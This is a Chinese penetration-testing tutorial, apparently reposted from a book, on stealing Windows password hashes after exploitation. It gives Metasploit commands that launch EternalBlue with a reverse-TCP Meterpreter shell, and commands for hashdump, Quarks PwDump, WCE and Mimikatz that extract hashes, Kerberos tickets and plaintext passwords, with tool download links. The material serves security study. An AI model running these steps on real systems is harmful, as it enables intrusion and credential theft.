Metasploit之Hash攻擊(Hashdump、Quarks PwDump、Windows Credentials Editor、Mimikatz)


前期工作

根據這篇: https://www.jianshu.com/p/03a1c13f963a ,進入meterpreter。

msfconsole                                # 啟動metasploit
use exploit/windows/smb/ms17_010_eternalblue   # 用這個模塊
set payload windows/x64/meterpreter/reverse_tcp   # 用這個payload
set RHOST 192.168.1.102                            # 靶機IP
set LHOST 192.168.1.104                              # 攻擊機IP 
run                                                  # 開始攻擊

使用HashDump抓取密碼

Hashdump Meterpreter腳本可以從目標機器中提取Hash值,破解Hash值即可獲得登錄密碼。計算機中的每個賬號(如果是域服務器,則為域內的每個賬號)的用戶名和密碼都存儲在sam文件中,當計算機運行時,該文件對所有賬號進行鎖定,要
想訪問就必須有"系統級”賬號。所以要使用該命令就必須進行權限的提升。
在Meterpreter Shell提示符下輸入hashdump命令,將導出目標機sam數據庫中的Hash,如下圖所示。

在非system權限下會出現失敗

在非SYSTEM權限下遠行hashdump命令會失敗,而且在Windows 7、Windows Server 2008下有時候會出現進程移植不成功等問題;而另一個模塊smart hashdump的功能更為強大,可以導出域所有用戶的Hash,其工作流程如下:

  • 檢查Meterpreter會話的權限和目標機操作系統類型。
  • 檢查目標機是否為域控制服務器。
  • 首先嘗試從注冊表中讀取Hash,不行的話再嘗試注入LSASS進程。

這里要注意如果目標機的系統是Windows 7,而且開啟了UAC,獲取Hash就會失敗,這時需要先使用繞過UAC的后滲透攻擊模塊,如下圖所示。

可以通過暴力或者彩虹列表對抓取到的hash進行破解,推薦 https://www.cmd5.com/ .


說明:在SAM文件中保存了兩個不同的口令信息: LAN Manager(LM)口令散列算法和更加強大的加密NT版。LM就是NT口令文件的弱點。上圖中左邊為LM版本口令,右邊是NTLM版本。1001代表他是管理員

使用Quarks PwDump抓取密碼

PwDump是一款Win32環境下的系統授權信息導出工具,目前沒有任何一款工具可以導出如此全面的信息、支持這么多的OS版本,而且相當穩定。它目前可以導出:

  • Local accounts NT/LM hashes + history 本機NT/LM哈希+歷史登錄記錄。
  • Domain accounts NT/LM hashes + history域中的NT/LM哈希+歷史登錄記錄。
  • Cached domain password緩存中的域管理密碼。
  • Bitlocker recovery information (recovery passwords & keypackages)使用Bitlocker的恢復功能后遺留的信息(恢復密碼&關鍵包)。

[下載地址:https://www.webshell.cc/?dl_id=6]
PwDump支持的操作系統為Windows XP/Windows 2003/Windows Vista/Windows 7/Windows 2008/Windows 8。
在Windows的密碼系統中,密碼以加密的方式保存在/windows/system32/config/下的sam文件里,而賬號在登錄后會將密碼的密文和明文保存在系統的內存中。正常情況下系統啟動后,sam文件是不能被讀取的,但是PwDump就能讀取sam.
直接運行Quarks PwDump.exe,如下所示

默認顯示幫助信息,其參數含義如下所示。

  • -dhl:導出本地哈希值。
  • -dhdc:導出內存中的域控哈希值。
  • -dhd:導出域控哈希值,必須指定NTDS文件。
  • -db:導出Bitlocker信息, 必須指定NTDS文件。
  • -nt:導出NTDS文件。
  • -hist:導出歷史信息,可選項。
  • -t:可選導出類型,默認導出John類型。
  • -o:導出文件到本地。

這里使用該工具抓取本機Hash值並導出,可以輸入QuarksPwDump.exe -dhl -o 1.txt命令導出本地哈希值到當前目錄的1.txt。此外,該工具還可以配合Ntdsutil工具導出域控密碼。

使用Windows Credientials Editor抓取密碼

[下載地址: https://www.ampliasecurity.com/research/windows-credentials-editor/]
Windows Credentials Editor (WCE)是一款功能強大的Windows平台內網滲透工具,它能列舉登錄會話,並且可以添加、改變和刪除相關憑據(例如LM/NTHash)。這些功能在內網滲透中能夠被利用,例如,在Windows平台上執行繞過Hash操作或者從內存中獲取NT/LM Hash (也可以從交互式登錄、服務、遠程桌面連接中獲取)以用於進一步的攻擊,而且體積也非常小,是內網滲透時的必備工具。不過必須在管理員權限下使用,還要注意殺毒工具的免殺。
首先輸入upload命令將wce.exe.上傳到目標主機C盤中,然后在目標機Shell下輸入wce -w命令,便會成功提取系統明文管理員的密碼,如圖所示。


默認使用-l命令讀取數據格式username:domain:lm:ntlm (這種讀取是從內存中讀取已經登錄的信息,而不是讀取sam數據庫中的信息),默認的讀取方式是先用安全的方式讀取,若讀取失敗再用不安全的方式,所以很有可能對系統造成破壞。
這里建議使用f參數強制使用安全的方式讀取。-g參數是用來計算密碼的,就是制定一個系統明文會使用的加密方法來計算密文,如下圖所示。

-c參數用於指定會話來執行cmd, -v參數用於顯示詳細信息,這樣才能看到luid信息,-w參數是最關鍵的,用於查看已登錄的明文密碼,如下圖所示。

使用Mimikatz抓取密碼

Mimikatz是法國專家Benjamin Delpy (@gentilkiwi) 寫的輕量級調試器。作為一款后滲透測試工具,它可以幫助安全測試人員輕松抓取系統密碼,此外還包括能夠通過獲取的Kerberos登錄憑據,繞過支持RestrictedAdmin模式下Windows 8或Windows Server 2012的遠程終端(RDP)等功能。在最初滲透階段之后的大多數時間里,攻擊者可能想在計算機/網絡中得到一個更堅固的立足點,這樣做通常需要一組補充的工具,Mimikatz就是一種將攻擊者想執行的、最有用的任務捆綁在一起的嘗試。需要注意該工具在Windows 2000與Windows XP系統下無法使用。Metasploit已經將其作為一個Meterpreter腳本集成了 ,以便用戶使用,而不需要上傳該軟件到目標主機上。
Mimikatz必須在管理員權限下使用,此時假設我們通過一系列前期滲透,已經成功獲得目標機的Meterpreter Shell (過程略), 當前權限為Administrator。
獲取系統SYSTEM權限后,首先查看目標機器的架構。雖然Mimikatz同時支持32位和64位的Windows架構,但如果服務器是64位操作系統,直接使用Mimikatz后,Meterpreter會默認加載一個32位版本的Mimikatz到內存, 使得很多功能無效。
而且在64位操作系統下必須先查看系統進程列表,然后在加載Mimikatz之 前將進程遷移到一個64位程序的進程中,才能查看系統密碼明文,在32位操作系統下就沒有這個限制。這里輸入sysinfo命令,如圖所示。

這是一個64位的操作系統,先遷移進程。


現在加載Mimikatz模塊

mimikatz_command選項可以讓我們使用Mimikatz的全部功能,需要通過加載一個錯誤的模塊得到可用模塊的完整列表,如下圖所示。

我們可以使用" :: "語法請求某個模塊可用的選項,選定一個模塊后也可以使用" :: "查看本模塊的幫助,例如查看Hash的可用選項有Im和ntlm兩種,如下所示。

知道了Mimikatz的大概使用方法后,我們既可以使用Metasploit內建的命令,也可以使用Mimikatz自帶的命令從目標機器上導出Hash和明文證書。接着直接輸入msv命令抓取系統Hash值,如下所示。

輸入kerberos可以抓取系統票據。

輸入wdigest命令可以獲取系統賬戶信息。

接着輸入samdump命令查看samdump的可用選項,然后輸入mimikatz_command -f samdump::hashes命令抓取Hash,如下圖所示。

Mimikatz除了可以抓取Hash,還有很多其他功能,例如使用Handle模塊、list/kill進程,以及模擬用戶令牌,如下圖所示。

使用Service模塊可以 list/start/stop/remove Windows的服務,如下圖。

使用Crypto模塊可以list/export任何證書,以及儲存在目標機器上的相應私鑰,如下圖所示。

Mimikatz也支持PowerShell調用(Invoke-Mimikatz) 。
Mimikatz的功能特性:能夠在PowerShell中執行Mimikatz,偷竊、注入憑證,偽造Kerberos票證創建,還有很多其他的功能。
Mimikatz的一些其他模塊包含了很多有用的特性,更完整的特性列表可以在Benjamin Delpy的博客https://blog.gentilkiwi.com/上找到。

說明

本文參考《Web安全攻防:滲透測試實戰指南》
所有過程僅供演示交流,禁止用於非法用途,由此產生的非法后果與我無瓜!!!


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM